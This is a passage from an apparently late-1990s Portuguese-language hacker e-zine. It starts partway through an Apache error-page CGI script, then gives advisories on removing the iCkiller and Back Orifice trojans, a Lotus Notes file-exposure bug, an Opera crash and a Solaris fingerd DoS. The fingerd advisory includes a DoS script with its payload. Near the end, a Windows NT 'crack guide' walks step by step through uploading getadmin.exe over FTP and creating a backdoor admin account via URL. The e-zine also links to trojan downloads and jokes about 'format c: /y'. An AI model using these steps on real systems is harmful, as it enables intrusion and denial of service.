{
print <pagina principal ou mande um mail para o adminadministrador da rede.
Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
if ($search_page)
{
print "\nVoce pode tbm pesquisar.\n";
print "o site para achar os documentos internamente...\n";
print " ";
print "Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)"
}
}
sub explain_500
{
print <administrador
perl -w $ENV{'REDIRECT_SCRIPT_FILENAME'}. Tente mais tarde, pois
o administrador do site ja' foi notificado da falha...
Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
sub explain_696
{
print <administrador ja' foi notificado e
estara a procura do erro... Enquanto isto, volte
para a pagina inicial.
Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
sub default
{
print <pagina principal, ou entrar em contato com o
administrador
Obs.: O administrador ja' foi notificado do erro.
Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
---[awsg.cgi]---
Tambem tem o arquivo .htaccess que voce deve colocar nos diretorios,
onde o awsg.cgi devera ficar nos diretorios em que o AWSG, ficara
rodando:
---[.htaccess]---
ErrorDocument 401 /awsg.cgi?401
ErrorDocument 403 /awsg.cgi?403
ErrorDocument 404 /awsg.cgi?404
ErrorDocument 500 /awsg.cgi?500
ErrorDocument 696 /awsg.cgi?696
---[.htaccess]---
Agora tenha certeza do que esta fazendo na hora de adaptar o script para
outras versoes do apache e outros servers.
Obs: Modifique os seguintes valores...
$email = 'coloque o seu email';
$main_page = 'coloque a sua pagina principal';
$mailprog = 'coloque o caminho para o seu programa de email';
Nao e' necessario mudar mais nada, e voce pode alterar o
codigo a vontade, e mande uma copia da modificacao para
nos da .[P9].
-- Adcionando erros padroes --
by Apache HTTP Server v1.3
Basicamente, edite o .htaccess do seu diretorio, e coloque a
seguinte linha:
ErrorDocument 699 /awsg.cgi?699
Assim quando o erro 699 acontecer, o .htaccess ira chamar
direto o arquivo /awsg.cgi com o query ?699... Simplez!!!
bi0tekn0log1ez, Inc
Apache Web Server Guardian.cgi - Project
bi0tek@phone9.org - reg (c) Phone9 Inc
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 13 - Phone9.Sekurity advisories... Em caso de panico quebre a janela ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by the crew ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
[Phone9 Sekurity advisories, sao documentos feitos pelos membros da P9]
[com o fim de discutir os novos e antigos bugs descobertos em sistemas]
[e maneiras preventivas de como impedir que sua execucao seja infeliz.]
01:. iCkiller Backdoor
02:. Back Orifice advisory
03:. Lotus Notes bug
04:. Opera DoS crash bug
05:. Solfingerd bug
[P9] ------------------------------------------------------------------ [P9]
.[The Phone9 Communications Systems (c) 1997-1998 productions].
.[Sekurity advisory].
.[15/05/98 - P9].
.[iCkiller Backdoor - by The bloodroot].
Contents:
'''''''''
01: Sumario
02: Removendo o trojan
03: Analize do trojan
04: Tecnicas de prevencao
05: Informacao sobre o ickill.exe
06: Informacao sobre o sistema do iCkiller
06.1: Unit 1
06.2: Unit 2
07: Checando vulnerabilidade do seu sistema
08: Conclusao
09: Phone9 Sekurity Advisory
01: Sumario
O programa iCkiller, criado por graffiti (graffuz@hotmail.com), o programa
inicialmente fecha aleatoreamente qualquer ICQ que esteja on-line no momento
mas o programa nao faz so isto, ele tambem instala uma backdoor na maquina,
que executar o programa (ickiller.exe). Eset se copiara para o c:\windows,
e logo depois ira colocar chaves no registro, instalando a backdoor , que e'
automaticamente ativada toda a vez que o programa e' executado. Uma vez
executado, ele coloca uma backdoor na porta 5000 ou 7789, podendo copiar,
deletar, criar e executar programas remotamente dentro da windows-box por
meio de um telnet nas portas acima.
02: Removendo o trojan
1) ctrl+alt+del e finalize os programas "mschv32.exe" qualquer segundo
"explorer.exe", ou "1.exe"
2) DELETE qualquer aparicao de MSCHV32.exe e 1.exe
3) Se existir qualquer EXPLORER.EXE no seu c:\windows\systems, delete-o
4) Execute o programa c:\windows\regedit.exe e delete qualquer entrada sob
o nome de 1.exe, e mschv32.exe.
5) Passe um portscan no seu IP, e veja se alguma porta fora do comum esta
aberta, se aberta de um telnet nela e veja o resultado...
6) Deixe um firewall rodando no seu sistema sempre que possivel, pois as
conexoes sao por meio de TCP, entao a maioria dos firewalls alerta voce
sobre qualquer conexao pendente.
03: Analize do trojan
O programa instala uma especime de servidor nas portas descritas acima, este
servidor que se autoexecuta ao iniciar o windows, tem o nome de 1.exe ou
explorer.exe (c:\windows\system\explorer.exe), o servidor nao responde a um
software cliente, como no caso do BO, ele responde a qualquer tentativa de
telnet caindo num console que responde a comandos especificados pelo iCkil-
ler, estes que por inicio so deveriam ser do conhecimento do Graffiti.
04: Tecnicas de prevencao
Firewall: A tecnica mais segura seria a implantacao de um firewall local na
sua maquina, assim monitorando qualquer conexao TCP/IP/UDP o seu
windows ficaria a salvo de conexoes nao desejadas...
Port listenner: Colocar um port listenner nas portas da qual o iCkiller usa,
assim monitorando qualquer possivel conexao por meio do TCP.
Nukenabber: Nukenabber e' um simples programa que monitora abre as portas
que voce seleciona , dando um status de "in use" para todas
estas assim nenhuma conexao e' permitida em tais portas.
inControl 3: Um programa que monitora toda a instalacao de um programa,
gerenciando cada entrada que o programa faz no sistema, permite
que voce saiba o que e quando algo esta sendo gravado sem a sua
permissao no seu sistema (durante a instalacao!!!) Para baixar
o inControl 3 va em:
http://www.zdnet.com/pcmag/pctech/content/15/13/ut1513.001.html
05: Informacao sobre o ickill.exe
Nome do arquivo: ICKILL.EXE, 98s.exe, ICQHIJAAK.EXE
Tamanho: 335,872 bytes
MD5 Message Digest: 711DFB9A0F23058CB238302EB2D46C35
06: Informacoes sobre o sistema do iCkiller
As unidades usadas pelo iCkiller sao:
À # =Cheval óFileCtrl ÇConsts ÇSystem SysInit Dialogs
3Messages KWindows SysUtils ^Classes QTypInfo sActiveX &Controls
°Printers WWinSpool +Graphics vMenus ÁImm Commctrl dStdCtrls IDlgs
3CommDlg ÂButtons :Scrute ¡Spin !WSocket ±WSockbuf £Wait ©WinSock
8Registry øUnit2 îunit1
Todas estas unidades exceto: Scrute, WSocket, WSockbuf, Wait, Unit2, e unit1
sao unidades padroes do delphi, WSocket, WSockbuf, Wait, sao todas unidades
padroes do componentes de winsock, TWSocket. Unit1 e Unit2 sao as duas forms
utilizadas pelo projeto.
06.1: Unit 1
A lista de propriedade do unit1 e' esta:
object Form1: TForm1
Left = 370
Top = 198
BorderIcons = [biSystemMenu]
BorderStyle = bsDialog
Caption = 'Form1'
ClientHeight = 115
ClientWidth = 436
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Position = poScreenCenter
OnClose = FormClose
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object ChatPort: TEdit
Left = 10
Top = 41
Width = 31
Height = 21
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
TabOrder = 0
Text = '5000'
Visible = False
end
object DelaiDistant: TSpinEdit
Left = 45
Top = 41
Width = 41
Height = 22
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
MaxValue = 500
MinValue = 0
ParentFont = False
TabOrder = 1
Value = 0
Visible = False
end
object SrvSocket: TWSocket
Proto = 'tcp'
MultiThreaded = False
OnSessionAvailable = SrvSocketSessionAvailable
FlushTimeout = 60
SendFlags = wsSendNormal
Left = 5
Top = 4
end
object CliSocket: TWSocket
Proto = 'tcp'
MultiThreaded = False
OnDataAvailable = CliSocketDataAvailable
OnSessionClosed = CliSocketSessionClosed
FlushTimeout = 60
SendFlags = wsSendNormal
Left = 37
Top = 5
end
end
Como voces podem ver e' uma simples form usada em linguagens de programacao,
como delphi, VBasic... Ela possui dois TWSocket, um para o servidor e outro
para o cliente, o servidor possui uma instrucao de eventos para o caso de se
alguem tentar se conectar a ele.
06.2: Unit 2
A lista de propriedades do unit 2 e' esta:
object Form_HD: TForm_HD
Left = 415
Top = 189
Width = 138
Height = 87
BorderIcons = [biSystemMenu, biMaximize]
Caption = 'Form_HD'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object DriveComboBox: TDriveComboBox
Left = 20
Top = 38
Width = 89
Height = 19
TabOrder = 0
Visible = False
end
object Scrute: TScruteDossier
Dossier = 'c:\'
Filtre = '*.*'
SousDossier = False
OnFichier = ScruteFichier
OnDossier = ScruteDossier
OnFinExecute = ScruteFinExecute
MaxPenetration = 10000
Left = 70
Top = 4
end
object FileCliSocket: TWSocket
Proto = 'tcp'
MultiThreaded = False
OnDataAvailable = FileCliSocketDataAvailable
OnSessionConnected = FileCliSocketSessionConnected
FlushTimeout = 60
SendFlags = wsSendNormal
Left = 31
Top = 3
end
end
Esta e' a parte maquinaria do programa, possui um componente chamado:
TScruteDossier, que supostamente faz um scan na maquina local, catando os
nomes de drivers, diretorios, atributos, nomes de arquivos. Em frances a
palavra Scrute Dossier quer dizer "scaneando arquivos", ou seja um amigo de
graffiti fraces (biohazard pelo que me consta e' o nome dele!!!), criou
junto com graffiti a backdoor, ou pelo menos fez parte do codigo.
07: Checando vulnerabilidade do sistema
1) telnet 127.0.0.1 5000 ou 7789
2) portscan nas portas 5000 e 7789 para checar por servicos abertos.
3) Procure pelo iCkiller no seu sistema
4) Procure por entradas no registro sobre o nome de 1.exe e mschv32.exe
5) Nao rode mais o programa iCkiller v1.1, na sua maquina.
08: Conclusao
O iCkiller foi feito por um grande amigo graffiti (da microsoftz.com), que
eu acho que nao teve tanta malicia na hora de fazer o programa, ele instalou
a backdoor? Sim, mas nao totalmente culpado por todas as invasoes nas suas
windows-b0xes, primeiro: Usem unix ou linux, sejam espertos ;) e depois quem
mandou confiar no tio bill? Agora vai aprender do jeito mais sofrido que o
tio bill pode fazer:
format c: /y
09: Phone9 Sekurity Advisory
Pagina da Phone9:
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
hack-br: hack-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
iCkiller: http://www.phone9.org/html/labs/tools/ickiller.zip
iCkiller v2.0: http://www.phone9.org/html/labs/tools/ickiller2.zip
graffit e-mail: graffiti@phone9.org
...........................
contact:[.blood@phone9.org]|[.advisory@phone9.org]
The Phone9 Communications Systems, Inc.
[P9] ------------------------------------------------------------------ [P9]
.[The Phone9 Communications Systems (c) 1997-1998 productions].
.[Sekurity advisory].
.[15/08/98 - P9].
.[Back Orifice Advisory - by The bloodroot].
Contents:
'''''''''
01: Sumario
02: Comprometimento
03: Ate onde eu sou vulneravel?
04: Checando vulnerabilidade de sistema
05: Deletando o back Orifice
06: Procurando pela instalacao default
07: Medidas de seguranca quanto a redes
08: Betascan
09: Conclusao
10: Phone9 Sekurity Advisory
01: Sumario
Recentemente o grupo hacker "Cult Of Dead Cow (cDc)", lancou um programa
de controle remoto de rede, chama Back Orifice, o nome do programa sendo uma
alusao ao programa "back Office" da microsoft, que tem o mesmo sentido do
BO (back Orifice).
O BO, sendo um programa com uma instalacao obscura e totalmente confusa,
colocando registros e arquivos estranhos no seu HD. O BO e' um sistema de
servidor -> cliente, permitindo que este execute comandos remotamente
atravez de protocolos UDP, simplesmente especificando o IP.
Tambem e' bem possivel que o BO tenha intencoes de instalar uma backdoor
remota no servidor, fazendo com que o servidor seja executa toda a vez que
o windows for iniciado. Escondendo o usuario a opcao de desligar o servidor,
por completo do sistema.
02: Compromentimento
Controle total remotamente em uma maquina "vitima". Podendo ter todos os
arquivos do seu HD totalmente inseguros. Uma vez instalado o servidor e'
possivel que a sua maquina nunca seja tao segura como antes, pois o BO,
tem um pequeno habito de tentar instalar backdoors no seu sistema...
Somente sao vulneraveis maquinas rodando:
- windows95/98/3.x
- Com conexao a internet
O back orifice so funciona por conexoes por meio de protocolos de internet,
mais especificamente UDP (User Datagram Protocol), pela porta 31337!!!
03: Ate onde eu sou vulneravel?
A principio o BO nao explora nenhuma falha especifica, descoberta no windows
o cliente so consegue controle remotamente sobre uma maquina, se esta uma
vez tenha roda o BOSERVER.exe, ou BOGUI.EXE, por isto este bug nao uma falha
do windows, e sim uma opcao de controle remoto por meio de um cliente, que
e' a funcao do servidor BO.
Mas, ai voce se pergunta, mas entao nao e' nenhum tipo de backdoor? Errado,
pois o intuito do BO e' , instalar o servidor e sumir com este, sendo assim,
voce nao saberia como deshabilitar o servidor, deixando-o rodando sem ao
menos saber na sua maquina por meses, ate que alguem faca um estrago no seu
sistema ;)
04: Checando vulnerabilidade do sistema
1- Procure por conexao na porta 31337 ,pelo protocolo UDP, estas na maioria
das vezes, implicam na conexao de um cliente no seu sistema, fique atento
a estas entradas...
Para verificar por entradas nas portas do seu sistema, digite no seu
prompt:
c:\windows\netstat -na
udp 0 0 x.x.x.x:31337
Ou...
c:\windows\netstat -p udp
udp 0 0 x.x.x.x:31337
O comando nao muda, somente as flags usadas fazem diferenca mesmo ;).
Com estes comandos, voce fica vulneravel...
2- Procure por arquivos no seu diretorio do windows:
c:\windows\systems\ .exe
c:\windows\systems\windll.dll
Suspeite de arquivos com 124kbytes de tamanho, o servidor do BO, em
versoes novas (se tiver algum update remoto ;)) pode mudar de nome
de .exe para outro nome qualquer.
3- Se qualquer coisa estranha acontecer na sua rede, suspeite, pois o BO,
pode executar remotamente programas, comandos etc...
Suspeite de acoes incomuns como:
- Maquina rebootando sem o seu desejo.
- Velocidade de conexao a internet diminuida e o computador com uma
velocidade pequena.
- Arquivos novos aparecendo derepende na sua maquina.
- Programas fechando se o seu pedido..
05: Deletando o Back Orifice
Uma funcao que pode mudar toda a prespectiva do BO no seu sistema, deletando
o servidor do seu sistema ja' alivia e muito o risco de invasao na sua maqui
na.
Primeiro, va no diretorio c:\windows\systems, e delete o arquivo .exe
( .exe `espaco .exe`, provavelmente o primeiro arquivo do diretorio ),
Depois para eliminar qualquer chance de resulreicao do Back Orifice,
voce pega o regedit.exe (c:\windows\regedit.exe) e entra na seguinte
chave de registro:
HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\RunServices,
e apague o valor .exe de um dos registros daquela chave.
Delete todos os arquivos do BO, e nao execute nunca mais nenhum dos
programas que o BO utiliza. Formate o HD se possivel... ;)
06: Procurando pela instalacoa default
Edite o arquivo .exe com um edit.com ou notepad.exe mesmo, e veja se
as ultimas linhas do programa sao assim:
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8.
Caso sejam, a instalacao na sua maquina foi default ou seja o BO, esta
configurado assim:
--
Porta de ataque: 31337
Protocolo: UDP
Nome do servidor: .exe
Nome do dll do servidor: windll.dll
Chave de registro: HKEY_LOCAL_MACHINE\....\CurrentVersion\RunServices
valor do registro: .exe
--
Do contrario as ultimas linhas do servidor seriam varias linhas
incluindo informacoes do tipo:
--
--
07: Medidas de seguranca quanto a redes
Se voce tem um sistema windowsNT, entao e' bom voce adotar uma
politica de seguranca quanto ao Back Orifice, pois o controle sobre um
usuario no seu sistema pode ser devastador, visto que varios bugs em
sistemas NT podem ser executados localmente e nao remotamente, por
isso dar um hostdeny em hosts onde e' possivel se baixar o Bo, seria
algo esperto para se fazer. Procure sempre visitar os diretorios dos
seus usuario a procura de BOs neles. Depois, adapte a seguranca do seu
sistema para nao permitir conexoes na porta 31337... E nunca pense em
rodar o BO na sua rede, somente em maquinas locais.
08: Betascan
Um programa que scaneia o seu sistema e procura do Bo, foi lancado,
e esta a disposicao de download em:
http://www.phone9.org/html/labs/tools/betascan.zip
Este programa simplesmente procura pela existencia do servidor (.exe),
pela entrada no registro e depois, pesquisas as rotinas do windll.dll,
a procuras de novas inclusoes feitas pelo BO.
09: Conclusao
O Back Orifice em uma visao geral, nao explora nenhum bug, nao faz nenhum
tipo de nova tecnica hacker e muito menos pode colocar em risco a seguranca
dos sistema windowsNT,98,95, pois o BO, so e' considerado perigoso uma vez
que o dono do computador prefere executa-lo. Nao existe nenhum modo de ser
invadido pelo BO, sem que voce tenha alguma vez na sua vida executado o BO,
ou entao tenha sido alvo de bugs como o MSOutlook'98, e outros, ai e' cada
um pela sua CPU...
10: Phone9 Sekurity Advisory
Pagina da Phone9:
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
Back Orifice v1.2: http://www.phone9.org/html/labs/tools/b012.zip
Back Orifice (linux): http://www.phone9.org/html/labs/tools/b012linux.zip
[1] Phone9.org, mirror oficial do BO no brasil.
...........................
contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
.[The Phone9 Communications Systems (c) 1997-1998 productions].
.[Sekurity advisory].
.[09/08/98 - P9].
.[Lotus webserver bug - by The bloodroot].
Contents:
'''''''''
01: Sumario
02: O bug
03: Checando vulnerabilidade do seu sistema
04: Possiveis solucoes
05: Conclusao
06: Phone9 Sekurity Advisory
01: Sumario
O servidor lotus notes, da empresa domino, possui um serio bug que pode
comprometer a seguranca do sistema inteiro. A versao vulneravel 4.6 e
versoes maiores, o bug se aplica a empresas que usam o lotus para
gerenciamento de intranets e desenvolvimento de redes. Os sitema lotus que
nao esta rodando o HTTPD padrao do lotus esta vulneravel a falha.
O impacto no sistema e' o seguinte, qualquer usuario pode acessar e criar
arquivos distintos do sistema, levando a baixo todo o sistema de seguranca
do sistema.
02: O bug
Para executar o bug, primeiro e' necessario que voce tenha o software
cliente, uma vez tendo isto em maos, voce ja pode exploitar o bug...
Do client 4.6 do lotus:
1. Abra qualquer database (endereco... rodando lotus server!!!)
2. Clique em Actions -> E veja no seu web browser
Depois entre no seu web browser (lynx? netscape? internet exploder?) e se
conecte em http://xxx.xxx.xx.xxx/phone9 (onde `phone9` e a database) Mesmo
que voce so tenha o client, agora o servidor lotus esta rodando na porta 80,
entao qualquer pessoa na internet pode acessar http://xxx.xxx.xx.xxx/ e ver
todos os arquivos do sistema em que roda o Lotus. Ou ate' mesmo visualizar
qualquer arquivo: http://xxx.xxx.xx.xxx/passw0rd/?open e voce vera o arquivo
passw0rd...
03: Checando por vulnerabilidade
Se voce tem o lotus server, apenas rode o sistema HTTPD com o servidor que
vem com o lotus, pois este ja' vem patcheado contra o seguinte bug. O seu
sistema somente e' vulneravel se voce alguma vez rodar o servidor HTTPD de
outra `marca` no servidor, sendo esta nao patcheado entao a vulnerabilidade
e' existente.
04: Possiveis solucoes
- Deshabilite a opcao HTTP no seu servidor.
- So permite que IPs da sua rede acessem os arquivos do seu sistema.
- Nao permita que servidores sejam rodados sozinhos , somente utilize os
clientes.
- Mude a permissao dos arquivos para algo que nao seja lido por todos.
05: Conclusao
O Lotus Notes 4.6 e' um servidor para intranets e pode ser um risco serio,
a atividade deste bug no seu sistema, por isso procure rodar o httpd server
do lotus para evitar qualquer problemas eventuais.
06: Phone9 Sekurity Advisory
...........................
Pagina da Phone9:
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
.[The Phone9 Communications Systems (c) 1997-1998 productions].
.[Sekurity advisory].
.[15/08/98 - P9].
.[Opera browser crash - by The bloodroot].
Contents:
'''''''''
01: Sumario
02: Comprometimento
03: O bug
04: Conclusao
05: Phone9 Sekurity Advisory
01: Sumario
Opera, um novo browser que esta no mercado (http://opera.nta.no), mostrou
que tem certas falhas no seu controle de erro de enderecos, se uma pessoa
colocar extra caracteres no final de um endereco existente... E' possivel
fazer com que o opera entre em pane e feche. Este bug parece afetar apenas
o browser opera versao 3.6+, testado no Netscape (versoes 2.0,3.0,3.1,4.0)
e no MSIE 4.0 o bug nao e' existente...
02: Compromentimento
Para a sua rede, ou conexao na internet nada demais ira acontecer, a unica
coisas chata que acontece, e' que o browser fecha repentinamente se voce
acidentalmente (ou propositalmente), executa-lo. E' apenas uma falha no
processamente de erro do opera!!! ;)
03: O bug
Voces devem estar se perguntando que tipo de bug, e' capaz de crashar o
Opera, o mais estupido o possivel ;) Se voce acrescentar uma barra a mais
em qualquer conexao via http o browser entra em crash, ou seja, e' assim:
Uma conexa http, utiliza no final da especificacao http, duas barras
exemplo: http://
O Opera , parece nao trata com esta margem de erro e por isso causa o bug no
seu browser. Para testar o bug no seu broser apenas digite:
http:///www.endereco.com.br #--> Nao se esqueca que o bug so e' executado
#Se forem acescentadas /// (3) barras no final
#do http:!!!
Obs: FTP://, GOPHER://, nao parecem ser vulneraveis em nenhum tipo de ataque
do genero.
04: Conclusao
A resposta da opera quanto ao bug e' o release de um patch para este bug em
menos de uma semana quanto ao que eles disseram... Nao e' nada demais, este
bug nao compromete nenhuma seguranca do seu sistema, ele somente e'
pe-no-saco quando acontece.
05: Phone9 Sekurity Advisory
Pagina da Phone9:
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
Pagina Oficial do Opera: http://opera.nta.no
...........................
contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
.[The Phone9 Communications Systems (c) 1997-1998 productions].
.[Sekurity advisory].
.[15/08/98 - P9].
.[Solaris Finger 2.5 bug - by The bloodroot].
Contents:
'''''''''
01: Sumario
02: Comprometimento
03: O bug
04: Script, faca o meu trabalho
05: Conclusao
06: Phone9 Sekurity Advisory
01: Sumario
O componente TCP de rede, finger e seu daemon fingerd , na versao 2.5.1 e
2.6 parecem ser vulneraveis a seria de ataques DoS originados por sequencias
de comandos causando um grande consumo da CPU time, e consequentemente
deixando sistema alerdado ou ate' fechando.
02: Comprometimento
Nao envolve nenhum tipo de falha de seguranca, somente faz com que o sistema
fique vulneravel a ataques DoS, devido a grande margem de comandos
atribuidos ao fingerd. So afeta maquinas solaris, rodando a versao do daemon
de finger (fingerd) 2.5.1 e 2.6.
03: O bug
Apenas, faca isto:
fuck:/root/> finger @host@host@host@host@host@host .... 25 vezes!!!
ou entao:
fuck:/root/> finger @hosta@hostb --> Onde hostb e' a maquina que esta
rodando fingerd bugado...
04: Script, faca o meu trabalho
esta e' bem simples... Rode este script para executar o bug, e' melhor do
que digitar 145 vezes @host!!! hehehehe ;)
--
#!/bin/sh
#
#Finger bug
hostb= #Host que roda fingerd 2.5.1, ou 2.6
145host= #cat /tmp/145fing!!!
finger= #local onde roda o finger
# fingando???
clear
echo "--[ Figerd bug 2.5.1 & 2.6 ]--"
echo "by bloodroot"
echo "blood@phone9.org"
echo
echo "Finger MENU"
echo "1:. 145 @host bug"
echo "2:. hostb attack"
echo
echo "Escolha uma opcao"
read $chc
case $chc in
1) goto 1 ;;
2) goto 2 ;;
esac
1:
echo "145 @host bug"
echo "-- Aguarde --"
echo
$finger $145host
2:
echo "hostb attack"
echo "Qual host voce deseja atacar?"
reap fckhst
finger @127.0.0.1@$fckhst
--
E o 145fing esta abaixo:
--
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host
--
05: Conclusao
Ate' o momento a sun ainda nao lancou nenhum patch para este bug... mas nao
e' por falta de espera??? Somente as versoes do fingerd do solaris que e'
vulneravel, outras nao sao!!! (eu testei as do linux slack, e redhat e nada
de bug nelas!!!;))
06: Phone9 Sekurity Advisory
Pagina da Phone9:
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
solfingerbug [script]: http://www.phone9.org/html/labs/tools/solfinger.zip
...........................
contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
Todas as advisories aqui dispostas podem ser utilizadas como
base para outros documentos, contanto que os devidos creditos
sejam dados aos autores das advisories existentes...
contact: [.phone9@phone9.org.]|[.advisory@phone9.org.]
The Phone9 Communications Systems, Inc.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 14 - Crackeando sistema No Trust ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by X-ploiter ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Windows NT crack guide
------- -- ----- -----
"easy hack com getadmin.exe, cmd.exe e gasys.dll"
by X-ploiter
Eh uma tecnica bem simples q eu resolvi descrever nesta edicao,
conforme as edicoes forem passando, eu vou explicando mais e mais tecnicas
de ataques em NT.
1. c:\ftp www.xploiter.com.br
220 saturn Microsoft FTP server (version 3.0)
User(www.xploiter.com.br(none)):
O q isto quer dizer? Q o nome do servidor Netbios eh SATURN. Por meio
deste nome, ele pode deduzir o account anonymous do NT, q permite a
navegacao em servicos gratis como FTP,WWW,GOPHER. Caso o admin seja um
tanto burro, ele nao mudou o nome da conta, entao a conta deve ficar assim:
IUSR_SATURN. Entao ele pensa e entra anonymous como user e aparece o
seguinte:
330 Anonymous acess allowed, send identity (e-mail adress) as password.
password:
Entao voce digita o seu mail , e se loga no sistema, parece bem
simples ateh agora, o mesmo processo q em sistema unix, entao voce digita
"cd /c", para tentar acessar o diretorio / do servidor. Depois de viajar
pelo FTP, ele percebe q o comando "PUT" eh permitido neste computador, entao
voce procura o diretorio "cgi-bin", um otimo lugar para se executar coisas
via www. Entao voce muda o tipo de conexao para binaria (binary), e depois
tente "put cmd.exe", caso voce tenha sorte voce vera algo assim:
200 PORT command successfull
150 Opening binary mode data connection for CMD.EXE
226 Transfer complete
208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)
Depois ele tbm coloca os arquivos "getadmin.exe" e "gasys.dll" no
cgi-bin, entao ele sai da conexao FTP do servidor e inicializa o seu
brownser. Entao ele vai para o endereco:
www.xploiter.com.br/cgi-bin/getadmin.exe?IUSR_SATURN
Depois de um tempo ira aparecer no brownser:
CGI ERROR
The specified CGI application misbehaved by not returning a complete set of
HTTP headers. The headers it did return are:
Congratulations , now account IUSR_SATURN have administrator rights!
Pronto, agora a account IUSR_SATURN estah em status admin, quer mais
moleza, ou oq? Para criar uma conta faca o seguinte:
http://www.xploiter.com.br/cgi-bin/comd.exe?c%20c:\winnt\system32\net.exe%
20user%20xploiter%20x-p9%20/add
PS: nao pule a linha, eh tudo um comando soh...
Entao voce acabou de crair uma conta chamada xploiter com uma senha
chama x-p9.
Pronto, os resultados:
Conseguiu admin no sistema
criou umas contas fantasma
e descobriu q a microsoft soh faz sistema de merda...
Os arquivos getadmin.exe , gasys.dll e cmd.exe estao em:
http://www.phone9.org/html/labs/tools/nthck.zip [1]
e em qualquer um dos nossos mirros...
(c) 1998, X-ploiter, inc.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 14 - Sekurity tools!!! ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by the crew ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Em todas as edicoes da Phone9 a partir desta, nos tentaremos a
medida do possivel, trazer novas ferramentas de seguranca para
